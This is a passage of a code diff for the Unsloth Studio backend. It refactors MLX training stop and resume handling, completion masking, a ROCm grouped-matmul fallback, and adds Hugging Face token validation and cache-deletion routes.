-                    _stop_save[0] = msg.get("save", True)
-                    _stop_requested[0] = True
-                    trainer = _trainer_ref[0]
-                    if trainer is not None:
-                        trainer.stop_requested = True
-                    return
-            except _queue.Empty:
-                continue
-            except (EOFError, OSError):
-                return
-
-    stop_thread = threading.Thread(target = _poll_stop, daemon = True)
-    stop_thread.start()
+    _stop_save, _stop_requested, _trainer_ref, _is_stop_requested, _stop_thread = (
+        _start_mlx_stop_poller(stop_queue)
+    )
 
     _send("status", status_message = "Loading MLX libraries...")
 
@@ -1699,6 +1809,7 @@ def _run_mlx_training(event_queue, stop_queue, config):
     # sharegpt+images) and text (alpaca/sharegpt/chatml → "text" column).
     format_type = config.get("format_type", "")
     custom_format_mapping = config.get("custom_format_mapping")
+    dataset_final_format = ""
     try:
         from utils.datasets import format_and_template_dataset
         def _fmt_progress(status_message = "", **_kw):
@@ -1764,6 +1875,7 @@ def _run_mlx_training(event_queue, stop_queue, config):
             )
             if info.get("success", True):
                 dataset = info.get("dataset", dataset)
+            dataset_final_format = str(info.get("final_format", "") or "").lower()
             if eval_dataset is not None:
                 ev = format_and_template_dataset(
                     eval_dataset,
@@ -1804,21 +1916,21 @@ def _run_mlx_training(event_queue, stop_queue, config):
 
     # ── 5. Build output dir ──
     # Resolve to ~/.unsloth/studio/outputs/ so the export page finds it
-    from utils.paths import resolve_output_dir, ensure_dir
+    from utils.paths import ensure_dir
 
-    output_dir = config.get("output_dir", "")
-    if not output_dir:
-        output_dir = build_default_output_dir_name(
-            model_name,
-            config.get("project_name"),
-        )
-    output_dir = str(resolve_output_dir(output_dir))
+    # Resume must land in the original run dir even when config lacks output_dir.
+    resume_dir = config.get("output_dir", "") or _output_dir_from_resume_checkpoint(
+        resume_from_checkpoint
+    )
+    output_dir = _resolve_mlx_output_dir(
+        {**config, "output_dir": resume_dir} if resume_dir else config, model_name
+    )
     ensure_dir(Path(output_dir))
+    _emit_output_dir(event_queue, output_dir)
 
     # ── 6. Create trainer ──
     eval_steps_val = config.get("eval_steps", 0) or 0
     if isinstance(eval_steps_val, float) and 0 < eval_steps_val < 1:
-        # Studio sometimes sends fraction-of-total-steps
         eval_steps_val = max(1, int(eval_steps_val * max_steps))
     else:
         eval_steps_val = int(eval_steps_val)
@@ -1869,6 +1981,9 @@ def _run_mlx_training(event_queue, stop_queue, config):
         eval_steps = eval_steps_val,
     )
 
+    # Also gates the masking skip below, so defined outside the feature-detect block.
+    raw_text_mode = training_type == "Continued Pretraining" or format_type == "raw"
+
     # Feature-detect optional fields so this PR works without the paired zoo bump.
     _supported_fields = getattr(MLXTrainingConfig, "__dataclass_fields__", {})
     if "cast_norm_output_to_input_dtype" in _supported_fields:
@@ -1882,8 +1997,7 @@ def _run_mlx_training(event_queue, stop_queue, config):
     if "max_grad_leaf_norm" in _supported_fields:
         mlx_config_kwargs["max_grad_leaf_norm"] = max_grad_leaf_norm
     if "append_eos" in _supported_fields:
-        raw_text_mode = training_type == "Continued Pretraining" or format_type == "raw"
-        # Studio SFT formatting owns rendered examples; raw/CPT text still
+        # Unsloth SFT formatting owns rendered examples; raw/CPT text still
         # needs MLX to append EOS like the CUDA raw-text path.
         mlx_config_kwargs["append_eos"] = bool(raw_text_mode)
 
@@ -1903,29 +2017,27 @@ def _run_mlx_training(event_queue, stop_queue, config):
         _send("eval_configured")
 
     # ── 7. Apply train_on_responses_only if requested ──
-    if config.get("train_on_completions", False):
+    # Auto-detect markers from the chat template first, manual table as
+    # fallback. Mirror the CUDA skips: raw/CPT text has no chat turns and
+    # Alpaca-rendered text lacks the chat markers. Also check the resolved
+    # format, since format_type="auto" can land on alpaca or raw text.
+    if (
+        config.get("train_on_completions", False)
+        and not raw_text_mode
+        and format_type != "alpaca"
+        and dataset_final_format not in ("alpaca", "raw_text")
+    ):
         _send("status", status_message = "Configuring response-only training...")
-        try:
-            from utils.datasets import (
-                MODEL_TO_TEMPLATE_MAPPER,
-                TEMPLATE_TO_RESPONSES_MAPPER,
-            )
-
-            template_name = MODEL_TO_TEMPLATE_MAPPER.get(model_name.lower())
-            markers = TEMPLATE_TO_RESPONSES_MAPPER.get(template_name) if template_name else None
-            if markers:
-                trainer = train_on_responses_only(
-                    trainer,
-                    instruction_part = markers["instruction"],
-                    response_part = markers["response"],
-                )
-            else:
-                _send(
-                    "status",
-                    status_message = f"train_on_completions skipped (no template for {model_name})",
-                )
-        except Exception as e:
-            _send("status", status_message = f"train_on_completions failed: {e}")
+        # No catch: the helper handles detection failures and double misses, so
+        # an exception here is a real masking failure that must fail the run,
+        # not silently train on full sequences.
+        from utils.datasets.completion_masking import apply_completion_masking
+        trainer, _masking_applied = apply_completion_masking(
+            trainer,
+            model_name,
+            train_on_responses_only,
+            notify = lambda level, message: _send("status", status_message = message),
+        )
 
     # ── 8. Setup wandb / tensorboard ──
     wandb_run = None
@@ -2040,31 +2152,157 @@ def _run_mlx_training(event_queue, stop_queue, config):
 
     trainer.add_eval_callback(_on_eval)
 
+    _opt_ref = [None]
+    _orig_build_optimizer = getattr(trainer, "_build_optimizer", None)
+
+    if callable(_orig_build_optimizer):
+
+        def _capture_optimizer(total_steps):
+            _opt_ref[0] = _orig_build_optimizer(total_steps)
+            return _opt_ref[0]
+
+        trainer._build_optimizer = _capture_optimizer
+
     # ── 11. Run training ──
     gc.collect()
     mx.synchronize()
-    trainer.train(resume_from_checkpoint = resume_from_checkpoint)
+    _save_model = trainer.save_model
+
+    def _skip_internal_final_save(*args, **kwargs):
+        raise ValueError("worker owns final save")
+
+    trainer.save_model = _skip_internal_final_save
+    try:
+        trainer.train(resume_from_checkpoint = resume_from_checkpoint)
+    finally:
+        trainer.save_model = _save_model
 
     # ── 12. Save and finalize ──
-    if trainer.stop_requested and not _stop_save[0]:
-        # User clicked "Cancel" (save=False) — skip saving
-        _send("complete", output_dir = None, status_message = "Training cancelled")
-    else:
-        _send("status", status_message = "Saving model...")
-        mx.synchronize()
-        trainer.save_model(output_dir)
-        _send("complete", output_dir = output_dir, status_message = "Training completed")
+    def _finish_tracking() -> None:
+        # Runs on every save/finalize exit so TB/W&B never leak on early return.
+        if tb_writer is not None:
+            try:
+                tb_writer.close()
+            except Exception:
+                pass
+        if wandb_run is not None:
+            try:
+                wandb_run.finish()
+            except Exception:
+                pass
 
-    if tb_writer is not None:
+    def _stop_checkpoint_ok() -> bool:
+        if _write_mlx_stop_checkpoint(trainer, _opt_ref[0], output_dir):
+            return True
+        _send(
+            "error",
+            error = (
+                "Failed to save a resumable checkpoint after stop. "
+                "Model files were saved, but this run cannot be resumed."
+            ),
+            # A user stop finalizes as 'stopped'; keep this failure's error status so history explains it.
+            keep_error_status = True,
+            # Older checkpoints are stale; resuming would roll back past this stop.
+            resume_blocked = True,
+        )
+        return False
+
+    try:
+        if trainer.stop_requested:
+            if not _stop_save[0]:
+                # Cancel (save=False): skip saving.
+                _send("complete", output_dir = None, status_message = "Training cancelled")
+            else:
+                _send("status", status_message = "Saving stopped model...")
+                mx.synchronize()
+                trainer.save_model(output_dir)
+                # Stop-and-save promises a resumable checkpoint, not just model files.
+                if not _stop_checkpoint_ok():
+                    return
+                _send("complete", output_dir = output_dir, status_message = "Training stopped")
+        else:
+            _send("status", status_message = "Saving model...")
+            mx.synchronize()
+            trainer.save_model(output_dir)
+            # A save-stop can race the natural final save; it made the same promise.
+            if trainer.stop_requested and _stop_save[0] and not _stop_checkpoint_ok():
+                return
+            _send("complete", output_dir = output_dir, status_message = "Training completed")
+    finally:
+        _finish_tracking()
+
+
+def _is_current_process_apple_silicon() -> bool:
+    import platform
+    return platform.system() == "Darwin" and platform.machine() == "arm64"
+
+
+def run_mlx_training_process(
+    *,
+    event_queue: Any,
+    stop_queue: Any,
+    config: dict,
+    transformers_activated: bool = False,
+) -> None:
+    """MLX worker entrypoint shared by Unsloth subprocesses and the CLI adapter."""
+    model_name = config["model_name"]
+
+    backend_path = str(Path(__file__).resolve().parent.parent.parent)
+    if backend_path not in sys.path:
+        sys.path.insert(0, backend_path)
+
+    from utils.hf_xet_fallback import child_should_disable_xet
+
+    if child_should_disable_xet(config):
+        os.environ["HF_HUB_DISABLE_XET"] = "1"
+        os.environ["HF_HUB_ENABLE_HF_TRANSFER"] = "0"
+
+    if not transformers_activated:
+        # Must precede detect_hardware(): its MLX stack check imports mlx_lm, hence transformers.
+        _activate_transformers_version_or_warn(model_name, config.get("hf_token") or None)
+
+    from utils.hardware import hardware as _hw
+
+    _hw.detect_hardware()
+    if _hw.DEVICE != _hw.DeviceType.MLX:
+        event_queue.put(
+            {
+                "type": "error",
+                "error": "MLX training requires Apple Silicon with the MLX backend available.",
+                "stack": "",
+                "ts": time.time(),
+            }
+        )
+        return
+
+    if config.get("is_dataset_audio"):
+        event_queue.put(
+            {
+                "type": "error",
+                "error": "Audio dataset training is not yet supported on Apple Silicon.",
+                "stack": "",
+                "ts": time.time(),
+            }
+        )
+        return
+
+    try:
         try:
-            tb_writer.close()
-        except Exception:
-            pass
-    if wandb_run is not None:
-        try:
-            wandb_run.finish()
-        except Exception:
-            pass
+            _run_mlx_training(event_queue, stop_queue, config)
+        finally:
+            try:
+                stop_queue.put({"type": _MLX_WORKER_COMPLETE})
+            except (EOFError, OSError, ValueError):
+                pass
+    except Exception as exc:
+        event_queue.put(
+            {
+                "type": "error",
+                "error": str(exc),
+                "stack": traceback.format_exc(limit = 20),
+                "ts": time.time(),
+            }
+        )
 
 
 def run_training_process(*, event_queue: Any, stop_queue: Any, config: dict) -> None:
@@ -2075,7 +2313,11 @@ def run_training_process(*, event_queue: Any, stop_queue: Any, config: dict) ->
         stop_queue: mp.Queue for stop commands from the parent.
         config: Training config dict with all parameters.
     """
-    os.environ["TOKENIZERS_PARALLELISM"] = "false"
+    # Off on Linux (forked datasets map() workers deadlock otherwise); on spawn
+    # platforms map() is in-process, so keep tokenizer threads on for faster prep.
+    os.environ["TOKENIZERS_PARALLELISM"] = (
+        "true" if sys.platform in ("win32", "darwin") else "false"
+    )
     os.environ["PYTHONWARNINGS"] = "ignore"  # before imports
 
     # HTTP-fallback respawn: disable Xet before any huggingface_hub import (the
@@ -2141,36 +2383,26 @@ def run_training_process(*, event_queue: Any, stop_queue: Any, config: dict) ->
     if backend_path not in sys.path:
         sys.path.insert(0, backend_path)
 
+    from .training import is_apple_silicon_training_platform, should_use_mlx_training_backend
+
+    mlx_backend_requested = is_apple_silicon_training_platform()
+
+    mlx_transformers_activated = False
+    if mlx_backend_requested and _is_current_process_apple_silicon():
+        # Must precede detect_hardware(): its MLX stack check imports mlx_lm, hence transformers.
+        _activate_transformers_version_or_warn(model_name, config.get("hf_token") or None)
+        mlx_transformers_activated = True
+
     from utils.hardware import hardware as _hw
 
     _hw.detect_hardware()
-    if _hw.DEVICE == _hw.DeviceType.MLX:
-        if config.get("is_dataset_audio"):
-            event_queue.put(
-                {
-                    "type": "error",
-                    "error": "Audio dataset training is not yet supported on Apple Silicon.",
-                    "stack": "",
-                    "ts": time.time(),
-                }
-            )
-            return
-        # Activate correct transformers version (Gemma-4 needs a 5.x sidecar, etc.)
-        # Must happen before any transformers/mlx-lm imports in _run_mlx_training.
-        # Non-fatal: fall through with whatever version is installed, but log
-        # the failure instead of swallowing it (issue #6103).
-        _activate_transformers_version_or_warn(model_name, config.get("hf_token") or None)
-        try:
-            _run_mlx_training(event_queue, stop_queue, config)
-        except Exception as exc:
-            event_queue.put(
-                {
-                    "type": "error",
-                    "error": str(exc),
-                    "stack": traceback.format_exc(limit = 20),
-                    "ts": time.time(),
-                }
-            )
+    if mlx_backend_requested or should_use_mlx_training_backend(device = _hw.DEVICE):
+        run_mlx_training_process(
+            event_queue = event_queue,
+            stop_queue = stop_queue,
+            config = config,
+            transformers_activated = mlx_transformers_activated,
+        )
         return
 
     # ── 1. Activate correct transformers version BEFORE any ML imports ──
@@ -2474,6 +2706,15 @@ def run_training_process(*, event_queue: Any, stop_queue: Any, config: dict) ->
                         _bnb_rocm_ver,
                     )
 
+            # Setting BNB_ROCM_VERSION makes bitsandbytes log a benign override
+            # notice on import; drop only that record so real errors and mismatch
+            # warnings still show.
+            if os.environ.get("BNB_ROCM_VERSION"):
+                import logging as _logging
+                _logging.getLogger("bitsandbytes.cextension").addFilter(
+                    lambda _r: "environment variable detected" not in _r.getMessage()
+                )
+
             # Parse HIP version for the kernel-fix gate below, falling back to
             # the rocm version embedded in torch.__version__ when version.hip is
             # unset (AMD SDK / Radeon wheels).
@@ -2526,80 +2767,8 @@ def run_training_process(*, event_queue: Any, stop_queue: Any, config: dict) ->
             # so 7.13+ uses the real GPU kernel.
             if not _hip_ver_at_least(7, 13):
                 try:
-                    import warnings as _warnings
-
-                    _gm_lib = _torch_for_rocm.library.Library("aten", "IMPL")
-
-                    def _grouped_mm_safe_impl(
-                        self,
-                        mat2,
-                        offs = None,
-                        bias = None,
-                        out_dtype = None,
-                    ):
-                        """Python mm/bmm fallback for _grouped_mm on gfx1200 (null HIP kernel, ROCm ≤ 7.12)."""
-                        _t = _torch_for_rocm
-                        if offs is None:
-                            # No offsets: 2-D -> mm, 3-D batched -> bmm
-                            # (unconditional mm broke 3-D MoE).
-                            if self.dim() == 3 and mat2.dim() == 3:
-                                result = _t.bmm(self.contiguous(), mat2.contiguous())
-                            elif self.dim() == 3 and mat2.dim() == 2:
-                                # Broadcast 2-D mat2 across the batch dim.
-                                result = _t.matmul(self.contiguous(), mat2.contiguous())
-                            elif self.dim() == 2 and mat2.dim() == 3:
-                                # Broadcast 2-D self across batch via matmul.
-                                result = _t.matmul(self.contiguous(), mat2.contiguous())
-                            else:
-                                result = _t.mm(self.contiguous(), mat2.contiguous())
-                        else:
-                            # Grouped: offs[i] is the exclusive end-row of group i.
-                            offs_list = offs.tolist()
-                            pieces = []
-                            prev = 0
-                            for idx, end in enumerate(offs_list):
-                                end = int(end)
-                                a_part = self[prev:end].contiguous()
-                                if mat2.dim() == 3:
-                                    b_part = mat2[idx].contiguous()
-                                else:
-                                    b_part = mat2.contiguous()
-                                pieces.append(_t.mm(a_part, b_part))
-                                prev = end
-                            # Include trailing rows not covered by offs.
-                            if prev < self.shape[0]:
-                                a_tail = self[prev:].contiguous()
-                                b_tail = (
-                                    mat2[-1].contiguous() if mat2.dim() == 3 else mat2.contiguous()
-                                )
-                                pieces.append(_t.mm(a_tail, b_tail))
-                            result = (
-                                _t.cat(pieces, dim = 0)
-                                if pieces
-                                else _t.zeros(
-                                    0,
-                                    mat2.shape[-1],
-                                    device = self.device,
-                                    dtype = self.dtype,
-                                )
-                            )
-                        if bias is not None:
-                            result = result + bias
-                        if out_dtype is not None:
-                            result = result.to(out_dtype)
-                        elif result.dtype != self.dtype:
-                            result = result.to(self.dtype)
-                        return result
-
-                    with _warnings.catch_warnings():
-                        _warnings.simplefilter("ignore")
-                        _gm_lib.impl("_grouped_mm", _grouped_mm_safe_impl, "CUDA")
-
-                    _WINDOWS_ROCM_GROUPED_MM_LIB = _gm_lib  # prevent GC
-                    logger.info(
-                        "Windows ROCm: patched _grouped_mm CUDA dispatch "
-                        "(null HIP kernel on gfx1200, ROCm ≤ 7.12 — "
-                        "bypassed with Python mm fallback)"
+                    _WINDOWS_ROCM_GROUPED_MM_LIB = _install_grouped_mm_cpu_fallback(
+                        _torch_for_rocm, logger, "Windows ROCm"
                     )
                 except Exception as _patch_exc:
                     logger.warning(
@@ -2613,6 +2782,44 @@ def run_training_process(*, event_queue: Any, stop_queue: Any, config: dict) ->
                     "skipping Python fallback (AMD fixed gfx1200 null kernel in ROCm 7.13)"
                 )
 
+    # ── 1f-linux. Linux ROCm RDNA4 _grouped_mm null kernel ──
+    # The win32 guard above misses Linux: RDNA4 (gfx1200/gfx1201) hits the same null
+    # HIP _grouped_mm kernel at ROCm <= 7.12 (fixed 7.13, ROCm/TheRock #5284). Gate on
+    # arch + HIP < 7.13 so NVIDIA/CUDA and non-RDNA4 AMD are untouched; no-op if fixed.
+    if sys.platform.startswith("linux") and _hw.IS_ROCM:
+        try:
+            _torch_lin = sys.modules.get("torch")
+            if _torch_lin is not None and _torch_lin.cuda.is_available():
+                # Prefer torch.version.hip, else rocmX.Y from torch.__version__ (AMD
+                # SDK / Radeon wheels leave version.hip unset). Unknown version on a
+                # gfx120X build -> assume affected unless it is a post-fix rocmsdk wheel.
+                _hip_str = str(getattr(getattr(_torch_lin, "version", None), "hip", "") or "")
+                _ver = getattr(_torch_lin, "__version__", "").lower()
+                _m = re.match(r"(\d+)\.(\d+)", _hip_str) or re.search(r"rocm(\d+)\.(\d+)", _ver)
+                if _m:
+                    _hip_lt_713 = (int(_m.group(1)), int(_m.group(2))) < (7, 13)
+                else:
+                    _hip_lt_713 = "rocmsdk" not in _ver
+                # Scan every visible GPU (device_map="balanced" can place layers on a
+                # later RDNA4 card, so device 0 is not enough). Match gfx120X by arch,
+                # or by RX 9000 / R9700 name when the wheel omits gcnArchName.
+                _rdna4 = False
+                for _i in range(_torch_lin.cuda.device_count()):
+                    _props = _torch_lin.cuda.get_device_properties(_i)
+                    _lin_arch, _ = _rocm_classify_unified_memory(_props)
+                    _lin_name = (getattr(_props, "name", "") or "").lower()
+                    if _lin_arch.lower() in ("gfx1200", "gfx1201") or (
+                        not _lin_arch and re.search(r"rx\s*90[0-9]0|r9700", _lin_name)
+                    ):
+                        _rdna4 = True
+                        break
+                if _rdna4 and _hip_lt_713:
+                    _WINDOWS_ROCM_GROUPED_MM_LIB = _install_grouped_mm_cpu_fallback(
+                        _torch_lin, logger, "Linux ROCm gfx120X"
+                    )
+        except Exception as _gm_lin_exc:
+            logger.warning("Linux ROCm gfx120X: could not patch _grouped_mm: %s", _gm_lin_exc)
+
     # ── 1g. ROCm OOM guard ──
     # On ROCm, exhausting VRAM can hang the HIP driver instead of raising.
     # set_per_process_memory_fraction caps the allocator so PyTorch raises
@@ -2662,7 +2869,7 @@ def run_training_process(*, event_queue: Any, stop_queue: Any, config: dict) ->
                 )
                 # Unified Windows APUs: the WDDM budget is user-raisable, but
                 # nothing on the box says so -- users see "48 GB VRAM" on a
-                # 96 GB machine and assume a Studio bug. Say where the limit
+                # 96 GB machine and assume an Unsloth bug. Say where the limit
                 # comes from and how to raise it.
                 if _is_unified and sys.platform == "win32":
                     try:
@@ -2693,7 +2900,8 @@ def run_training_process(*, event_queue: Any, stop_queue: Any, config: dict) ->
         if backend_path not in sys.path:
             sys.path.insert(0, backend_path)
 
-        from core.training.trainer import UnslothTrainer, TrainingProgress
+        from core.training.training import TrainingProgress
+        from core.training.trainer import UnslothTrainer
         from utils.paths import (
             ensure_dir,
             resolve_output_dir,
@@ -2904,11 +3112,24 @@ def run_training_process(*, event_queue: Any, stop_queue: Any, config: dict) ->
             ),
             xet_disabled = os.environ.get("HF_HUB_DISABLE_XET") == "1",
         )
+        # Latest-sidecar models load 16-bit here too: bnb 4-bit feeds quantized
+        # expert weights into unvalidated paths (same flip as the chat worker).
+        _train_load_in_4bit = config["load_in_4bit"]
+        if _train_load_in_4bit:
+            from utils.transformers_version import latest_tier_active_for
+            if latest_tier_active_for(model_name, hf_token):
+                _train_load_in_4bit = False
+                logger.info(
+                    "Latest-transformers sidecar active for %s - forcing a 16-bit "
+                    "training load (4-bit is disabled for brand-new architectures)",
+                    model_name,
+                )
+
         try:
             success = trainer.load_model(
                 model_name = model_name,
                 max_seq_length = config["max_seq_length"],
-                load_in_4bit = config["load_in_4bit"],
+                load_in_4bit = _train_load_in_4bit,
                 full_finetuning = not use_lora,
                 hf_token = hf_token,
                 is_dataset_image = config.get("is_dataset_image", False),
@@ -3045,6 +3266,7 @@ def run_training_process(*, event_queue: Any, stop_queue: Any, config: dict) ->
             )
         output_dir = str(resolve_output_dir(output_dir))
         ensure_dir(Path(output_dir))
+        _emit_output_dir(event_queue, output_dir)
 
         tensorboard_dir = config.get("tensorboard_dir")
         if config.get("enable_tensorboard", False):
@@ -3164,6 +3386,61 @@ def _send_status(event_queue: Any, message: str) -> None:
     )
 
 
+def _emit_output_dir(event_queue: Any, output_dir: str) -> None:
+    try:
+        event_queue.put({"type": "output_dir", "output_dir": output_dir, "ts": time.time()})
+    except Exception:
+        pass
+
+
+def _mlx_has_checkpoint_at_step(output_dir, step: int) -> bool:
+    if step <= 0:
+        return False
+    from core.training.resume import is_resume_checkpoint_valid
+    return is_resume_checkpoint_valid(
+        Path(output_dir) / f"checkpoint-{step}", expected_step = step, backend = "mlx"
+    )
+
+
+def _write_mlx_stop_checkpoint(trainer, optimizer, output_dir) -> bool:
+    """Write a full resume checkpoint for a stopped MLX run.
+
+    Returns True when a checkpoint for the current training step exists.
+    """
+    step = int(getattr(trainer, "_global_step", 0) or 0)
+    # A periodic save or a resumed run may already cover the current step.
+    if _mlx_has_checkpoint_at_step(output_dir, step):
+        return True
+    if step <= 0 or optimizer is None:
+        return False
+    ckpt_dir = Path(output_dir) / f"checkpoint-{step}"
+    if ckpt_dir.is_symlink():
+        # Refuse a symlinked dir: it could redirect writes outside output_dir.
+        logger.error("Refusing to write MLX stop checkpoint through symlink: %s", ckpt_dir)
+        return False
+    try:
+        ckpt_dir.mkdir(parents = True, exist_ok = True)
+        from unsloth_zoo.mlx.utils import (
+            save_optimizer_state,
+            save_trainable_adapters,
+            save_trainer_state,
+        )
+
+        save_trainable_adapters(trainer.model, str(ckpt_dir))
+        save_optimizer_state(optimizer, str(ckpt_dir))
+        save_trainer_state(
+            {
+                "global_step": step,
+                "train_loss_history": list(getattr(trainer, "_train_loss_history", [])),
+            },
+            str(ckpt_dir),
+        )
+        logger.info("Saved stop checkpoint to %s", ckpt_dir)
+    except Exception:
+        logger.exception("Failed to write stop checkpoint under %s", output_dir)
+    return _mlx_has_checkpoint_at_step(output_dir, step)
+
+
 def _run_embedding_training(event_queue: Any, stop_queue: Any, config: dict) -> None:
     """Self-contained embedding model training pipeline.
 
@@ -3528,6 +3805,7 @@ def _run_embedding_training(event_queue: Any, stop_queue: Any, config: dict) ->
             config.get("project_name"),
         )
     output_dir = str(resolve_output_dir(output_dir))
+    _emit_output_dir(event_queue, output_dir)
 
     num_epochs = config.get("num_epochs", 2)
     batch_size = config.get("batch_size", 256)
diff --git a/studio/backend/hub/routes/__init__.py b/studio/backend/hub/routes/__init__.py
index e9579635b0..7c5cfb9b3c 100644
--- a/studio/backend/hub/routes/__init__.py
+++ b/studio/backend/hub/routes/__init__.py
@@ -5,8 +5,10 @@
 
 from hub.routes.inventory import router as inventory_router
 from hub.routes.datasets import router as datasets_router
+from hub.routes.token import router as token_router
 
 __all__ = [
     "inventory_router",
     "datasets_router",
+    "token_router",
 ]
diff --git a/studio/backend/hub/routes/datasets.py b/studio/backend/hub/routes/datasets.py
index edf4f36ac0..7c7cc274d3 100644
--- a/studio/backend/hub/routes/datasets.py
+++ b/studio/backend/hub/routes/datasets.py
@@ -61,9 +61,11 @@ async def list_cached_datasets(current_subject: str = Depends(get_current_subjec
 
 @router.delete("/cached", response_model = DeleteCachedDatasetResponse)
 async def delete_cached_dataset(
-    repo_id: str = Body(..., embed = True), current_subject: str = Depends(get_current_subject)
+    repo_id: str = Body(..., embed = True),
+    cache_path: Optional[str] = Body(None, embed = True),
+    current_subject: str = Depends(get_current_subject),
 ):
-    return await cache_inventory.delete_cached_dataset_response(repo_id)
+    return await cache_inventory.delete_cached_dataset_response(repo_id, cache_path)
 
 
 @router.get("/download-progress", response_model = DownloadProgressResponse)
diff --git a/studio/backend/hub/routes/inventory.py b/studio/backend/hub/routes/inventory.py
index 4b6c179a2b..dc3e3641bc 100644
--- a/studio/backend/hub/routes/inventory.py
+++ b/studio/backend/hub/routes/inventory.py
@@ -28,6 +28,7 @@ from hub.schemas.inventory import (
     CachedModelsResponse,
     DeleteCachedModelResponse,
     GgufVariantsResponse,
+    HiddenModelsResponse,
     LocalModelListResponse,
     ModelsFolderResponse,
     RecommendedFoldersResponse,
@@ -214,6 +215,16 @@ async def list_cached_models(
     return await cache_inventory.list_cached_models_response(hf_token)
 
 
+@router.get("/hidden-models", response_model = HiddenModelsResponse)
+async def list_hidden_models(current_subject: str = Depends(get_current_subject)):
+    import asyncio
+
+    from routes.models import hidden_model_matchers
+
+    needles, exact_ids, exact_paths = await asyncio.to_thread(hidden_model_matchers)
+    return HiddenModelsResponse(needles = needles, exact_ids = exact_ids, exact_paths = exact_paths)
+
+
 @router.delete(
     "/delete-cached",
     response_model = DeleteCachedModelResponse,
@@ -222,7 +233,8 @@ async def list_cached_models(
 async def delete_cached_model(
     repo_id: str = Body(...),
     variant: Optional[str] = Body(None),
+    cache_path: Optional[str] = Body(None),
     hf_token: Optional[str] = Depends(get_hf_token),
     current_subject: str = Depends(get_current_subject),
 ):
-    return await deletion.delete_cached_model_response(repo_id, variant, hf_token)
+    return await deletion.delete_cached_model_response(repo_id, variant, hf_token, cache_path)
diff --git a/studio/backend/hub/routes/token.py b/studio/backend/hub/routes/token.py
new file mode 100644
index 0000000000..1b7ad733a2
--- /dev/null
+++ b/studio/backend/hub/routes/token.py
@@ -0,0 +1,44 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Hugging Face token validation endpoint."""
+
+from __future__ import annotations
+
+import asyncio
+from typing import Literal, Optional
+
+from fastapi import APIRouter, Depends, Request
+from pydantic import BaseModel
+
+from auth.authentication import get_current_subject
+from hub.dependencies import get_hf_token
+from utils.client_ip import client_ip
+from utils.hf_token_validation import validate_hf_token
+
+
+router = APIRouter()
+
+
+class HfTokenValidationResponse(BaseModel):
+    status: Literal["missing", "valid", "invalid", "rate_limited", "unavailable"]
+    retry_after_seconds: Optional[int] = None
+
+
+@router.post("/token/validate", response_model = HfTokenValidationResponse)
+async def validate_token(
+    request: Request,
+    hf_token: Optional[str] = Depends(get_hf_token),
+    current_subject: str = Depends(get_current_subject),
+):
+    if not hf_token:
+        return HfTokenValidationResponse(status = "missing")
+    result = await asyncio.to_thread(
+        validate_hf_token,
+        hf_token,
+        rate_key = f"{current_subject}:{client_ip(request)}",
+    )
+    return HfTokenValidationResponse(
+        status = result.status,
+        retry_after_seconds = result.retry_after_seconds,
+    )
diff --git a/studio/backend/hub/schemas/inventory.py b/studio/backend/hub/schemas/inventory.py
index ef95efe2f2..ca0f4658a3 100644
--- a/studio/backend/hub/schemas/inventory.py
+++ b/studio/backend/hub/schemas/inventory.py
@@ -99,6 +99,10 @@ class LocalModelInfo(BaseModel):
         None,
         description = "HF repo id for cached models, e.g. org/model",
     )
+    active_cache: Optional[bool] = Field(
+        None,
+        description = "Whether this HF entry belongs to the current download cache.",
+    )
     base_model: Optional[str] = Field(
         None,
         description = "Base model from adapter_config.json when this is an adapter",
@@ -160,6 +164,7 @@ class CachedRepoBase(BaseModel):
     repo_id: str
     size_bytes: int = 0
     cache_path: Optional[str] = None
+    last_modified: Optional[float] = None
     partial: bool = False
     partial_transport: Optional[str] = None
     inventory_id: Optional[str] = None
@@ -189,6 +194,12 @@ class CachedModelsResponse(BaseModel):
     cached: List[CachedModelRepo] = Field(default_factory = list)
 
 
+class HiddenModelsResponse(BaseModel):
+    needles: List[str] = Field(default_factory = list)
+    exact_ids: List[str] = Field(default_factory = list)
+    exact_paths: List[str] = Field(default_factory = list)
+
+
 class AddScanFolderRequest(BaseModel):
     """Request body for adding a custom scan folder."""
 
diff --git a/studio/backend/hub/services/datasets/cache_inventory.py b/studio/backend/hub/services/datasets/cache_inventory.py
index a180c9df58..c106b62ab7 100644
--- a/studio/backend/hub/services/datasets/cache_inventory.py
+++ b/studio/backend/hub/services/datasets/cache_inventory.py
@@ -20,12 +20,11 @@ from hub.utils import inventory_scan as hf_cache_scan
 from hub.utils.hf_cache_state import (
     purge_partial_repo,
     purge_repo_cache_dirs,
+    resolve_delete_target_root,
     resolve_destructive_case_matches,
 )
 from hub.utils.paths import (
-    hf_default_cache_dir,
     is_valid_repo_id as _is_valid_repo_id,
-    legacy_hf_cache_dir,
     resolve_cached_repo_id_case,
 )
 
@@ -43,38 +42,8 @@ def _collect_hf_cache_scans() -> tuple[list, set[str]]:
 
 
 def _hf_hub_cache_roots() -> list[Path]:
-    roots: list[Path] = []
-    seen: set[str] = set()
-
-    def _add(path: Optional[Path]) -> None:
-        if path is None or not path.is_dir():
-            return
-        try:
-            resolved = str(path.resolve())
-        except OSError:
-            return
-        if resolved in seen:
-            return
-        seen.add(resolved)
-        roots.append(path)
-
-    try:
-        from huggingface_hub.constants import HF_HUB_CACHE
-        _add(Path(HF_HUB_CACHE))
-    except Exception:
-        pass
-
-    hf_hub_cache = os.environ.get("HF_HUB_CACHE")
-    if hf_hub_cache:
-        _add(Path(hf_hub_cache).expanduser())
-
-    hf_home = os.environ.get("HF_HOME")
-    if hf_home:
-        _add(Path(hf_home).expanduser() / "hub")
-
-    _add(legacy_hf_cache_dir())
-    _add(hf_default_cache_dir())
-    return roots
+    from hub.utils.hf_cache_state import hf_cache_roots
+    return hf_cache_roots()
 
 
 def _repo_id_from_hub_dataset_dir(name: str) -> str | None:
@@ -207,6 +176,21 @@ def _repo_id_from_datasets_cache_dir(name: str) -> str | None:
     return repo_id if _is_valid_repo_id(repo_id) else None
 
 
+def _is_processed_dataset_cache_path(repo_id: str, cache_path: str) -> bool:
+    """True when *cache_path* is this repo's processed Arrow cache dir
+    (``<owner>___<repo>`` directly under an HF_DATASETS_CACHE root). Such rows
+    have no Hub ``datasets--`` layout, so they are deleted via the processed
+    path and must not be rejected as an invalid cache_path."""
+    try:
+        resolved = Path(cache_path).expanduser().resolve(strict = False)
+    except (OSError, RuntimeError, ValueError):
+        return False
+    if resolved.name.lower() != repo_id.replace("/", "___").lower():
+        return False
